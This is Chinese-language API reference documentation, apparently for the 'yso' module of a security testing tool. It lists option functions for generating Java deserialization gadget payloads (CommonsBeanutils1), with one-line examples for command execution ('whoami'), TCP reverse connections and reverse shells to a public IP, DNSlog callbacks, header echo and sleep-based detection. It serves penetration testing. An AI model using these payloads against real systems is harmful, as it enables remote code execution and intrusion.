tcpReverseHost 请求参数选项函数,设置指定的 tcpReverseHost 域名,需要配合 useTcpReverseTemplate ,tcpReversePort 使用。

还需要配合 tcpReverseToken 使用,用于是否反连成功的标志。

host:要设置的 tcpReverseHost 的host。

Example:

host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token))

定义#

tcpReverseHost(host string) GenClassOptionFun

参数#

参数名参数类型参数解释
hoststring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

tcpReversePort#

详细描述#

SetTcpReversePort

tcpReversePort 请求参数选项函数,设置指定的 tcpReversePort 域名,需要配合 useTcpReverseTemplate ,tcpReverseHost 使用。

还需要配合 tcpReverseToken 使用,用于是否反连成功的标志。

port:要设置的 tcpReversePort 的port。

Example:

host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token))

定义#

tcpReversePort(port int) GenClassOptionFun

参数#

参数名参数类型参数解释
portint

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

tcpReverseToken#

详细描述#

SetTcpReverseToken

tcpReverseToken 请求参数选项函数,设置指定的 token 用于是否反连成功的标志,需要配合 useTcpReverseTemplate ,tcpReverseHost ,tcpReversePort 使用。

token:要设置的 token 。

Example:

host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseTemplate(),yso.tcpReverseHost(host),yso.tcpReversePort(8080),yso.tcpReverseToken(token))

定义#

tcpReverseToken(token string) GenClassOptionFun

参数#

参数名参数类型参数解释
tokenstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

threeBytesCharString#

详细描述#

定义#

threeBytesCharString()

twoBytesCharString#

详细描述#

定义#

twoBytesCharString()

useBase64BytesClass#

详细描述#

SetClassBase64Bytes

useBase64BytesClass 请求参数选项函数,传入base64编码的字节码。

base64:base64编码的字节码。

Example:

gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBase64BytesClass(base64Class))

定义#

useBase64BytesClass(base64 string) GenClassOptionFun

参数#

参数名参数类型参数解释
base64string

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useBytesClass#

详细描述#

SetClassBytes

useBytesClass 请求参数选项函数,传入字节码。

data:字节码。

Example:

bytesCode,_ =codec.DecodeBase64(bytes)gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBytesClass(bytesCode))

定义#

useBytesClass(data []byte) GenClassOptionFun

参数#

参数名参数类型参数解释
data[]byte

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useBytesEvilClass#

详细描述#

SetBytesEvilClass

useBytesEvilClass 请求参数选项函数,传入自定义的字节码。

data:自定义的字节码。

Example:

bytesCode,_ =codec.DecodeBase64(bytes)gadgetObj,err = yso.GetCommonsBeanutils1JavaObject(yso.useBytesEvilClass(bytesCode))

定义#

useBytesEvilClass(data []byte) GenClassOptionFun

参数#

参数名参数类型参数解释
data[]byte

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useClassMultiEchoTemplate#

详细描述#

定义#

useClassMultiEchoTemplate()

useClassParam#

详细描述#

定义#

useClassParam(k string, v string) GenClassOptionFun

参数#

参数名参数类型参数解释
kstring
vstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useConstructorExecutor#

详细描述#

定义#

useConstructorExecutor()

useDNSLogEvilClass#

详细描述#

SetDnslogEvilClass

useDnslogEvilClass 请求参数选项函数,设置生成Dnslog类的模板,同时设置指定的 Dnslog 域名。

addr:要设置的 Dnslog 域名。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.useDnslogEvilClass("dnslog.com"))

定义#

useDNSLogEvilClass(addr string) GenClassOptionFun

参数#

参数名参数类型参数解释
addrstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useDNSlogTemplate#

详细描述#

定义#

useDNSlogTemplate()

useEchoBody#

详细描述#

定义#

useEchoBody()

useHeaderEchoEvilClass#

详细描述#

定义#

useHeaderEchoEvilClass()

useHeaderEchoTemplate#

详细描述#

定义#

useHeaderEchoTemplate()

useHeaderParam#

详细描述#

SetHeader

springHeader 请求参数选项函数,设置指定的 header 键值对,需要配合 useSpringEchoTemplate 使用。

需要注意的是,发送此函数时生成的 Payload 时,需要设置header:Accept-Language: zh-CN,zh;q=1.9,以触发回显。

key:要设置的 header 键。

val:要设置的 header 值。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springHeader("Echo","Echo Check"))

定义#

useHeaderParam(key string, val string) GenClassOptionFun

参数#

参数名参数类型参数解释
keystring
valstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useModifyTomcatMaxHeaderSizeTemplate#

详细描述#

定义#

useModifyTomcatMaxHeaderSizeTemplate()

useMultiEchoEvilClass#

详细描述#

定义#

useMultiEchoEvilClass()

useParam#

详细描述#

SetParam

springParam 请求参数选项函数,设置指定的回显值,需要配合 useSpringEchoTemplate 使用。

param:要设置的请求参数。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.useSpringEchoTemplate(),yso.springParam("Echo Check"))

定义#

useParam(val string) GenClassOptionFun

参数#

参数名参数类型参数解释
valstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useProcessBuilderExecEvilClass#

详细描述#

SetProcessBuilderExecEvilClass

useProcessBuilderExecEvilClass 请求参数选项函数,设置生成ProcessBuilderExec类的模板,同时设置要执行的命令。

cmd:要执行的命令字符串。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.useProcessBuilderExecEvilClass("whoami"))

定义#

useProcessBuilderExecEvilClass(cmd string) GenClassOptionFun

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useProcessBuilderExecTemplate#

详细描述#

定义#

useProcessBuilderExecTemplate()

useProcessImplExecEvilClass#

详细描述#

SetProcessImplExecEvilClass

useProcessImplExecEvilClass 请求参数选项函数,设置生成ProcessImplExec类的模板,同时设置要执行的命令。

cmd:要执行的命令字符串。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.useProcessImplExecEvilClass("whoami"))

定义#

useProcessImplExecEvilClass(cmd string) GenClassOptionFun

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useProcessImplExecTemplate#

详细描述#

定义#

useProcessImplExecTemplate()

useRuntimeExecEvilClass#

详细描述#

SetRuntimeExecEvilClass

useRuntimeExecEvilClass 请求参数选项函数,设置生成RuntimeExec类的模板,同时设置要执行的命令。

cmd:要执行的命令字符串。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.useRuntimeExecEvilClass("whoami"))

定义#

useRuntimeExecEvilClass(cmd string) GenClassOptionFun

参数#

参数名参数类型参数解释
cmdstring

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useRuntimeExecTemplate#

详细描述#

定义#

useRuntimeExecTemplate()

useSleepEvilClass#

详细描述#

定义#

useSleepEvilClass()

useSleepTemplate#

详细描述#

定义#

useSleepTemplate()

useSleepTime#

详细描述#

SetSleepTime

useSleepTime 请求参数选项函数,设置指定的 sleep 时长,需要配合 useSleepTemplate 使用,主要用与指定 sleep 时长,用于延时检测gadget。

Example:

yso.GetCommonsBeanutils1JavaObject(yso.useSleepTemplate(),yso.useSleepTime(5)) // 发送生成的 Payload 后,观察响应时间是否大于 5s

定义#

useSleepTime(time int) GenClassOptionFun

参数#

参数名参数类型参数解释
timeint

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useSpringEchoTemplate#

详细描述#

定义#

useSpringEchoTemplate()

useTcpReverseEvilClass#

详细描述#

SetTcpReverseEvilClass

useTcpReverseEvilClass 请求参数选项函数,设置生成TcpReverse类的模板,同时设置指定的 tcpReverseHost ,tcpReversePort。

相当于 useTcpReverseTemplate ,tcpReverseHost 两个个函数的组合。

host:要设置的 tcpReverseHost 的host。

port:要设置的 tcpReversePort 的port。

Example:

host = "公网IP"token = uuid()yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseEvilClass(host,8080),yso.tcpReverseToken(token))

定义#

useTcpReverseEvilClass(host string, port int) GenClassOptionFun

参数#

参数名参数类型参数解释
hoststring
portint

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useTcpReverseShellEvilClass#

详细描述#

SetTcpReverseShellEvilClass

useTcpReverseShellEvilClass 请求参数选项函数,设置生成TcpReverseShell类的模板,同时设置指定的 tcpReverseShellHost ,tcpReverseShellPort。

相当于 useTcpReverseShellTemplate ,tcpReverseShellHost,tcpReverseShellPort 三个个函数的组合。

host:要设置的 tcpReverseShellHost 的host。

port:要设置的 tcpReverseShellPort 的port。

Example:

host = "公网IP"yso.GetCommonsBeanutils1JavaObject(yso.useTcpReverseShellEvilClass(host,8080))

定义#

useTcpReverseShellEvilClass(host string, port int) GenClassOptionFun

参数#

参数名参数类型参数解释
hoststring
portint

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useTcpReverseShellTemplate#

详细描述#

定义#

useTcpReverseShellTemplate()

useTcpReverseTemplate#

详细描述#

定义#

useTcpReverseTemplate()

useTemplate#

详细描述#

定义#

useTemplate(t ClassType) GenClassOptionFun

参数#

参数名参数类型参数解释
tClassType

返回值#

返回值(顺序)返回值类型返回值解释
r1GenClassOptionFun

useTomcatEchoEvilClass#

详细描述#

定义#

useTomcatEchoEvilClass()

useTomcatEchoTemplate#

详细描述#

定义#

useTomcatEchoTemplate()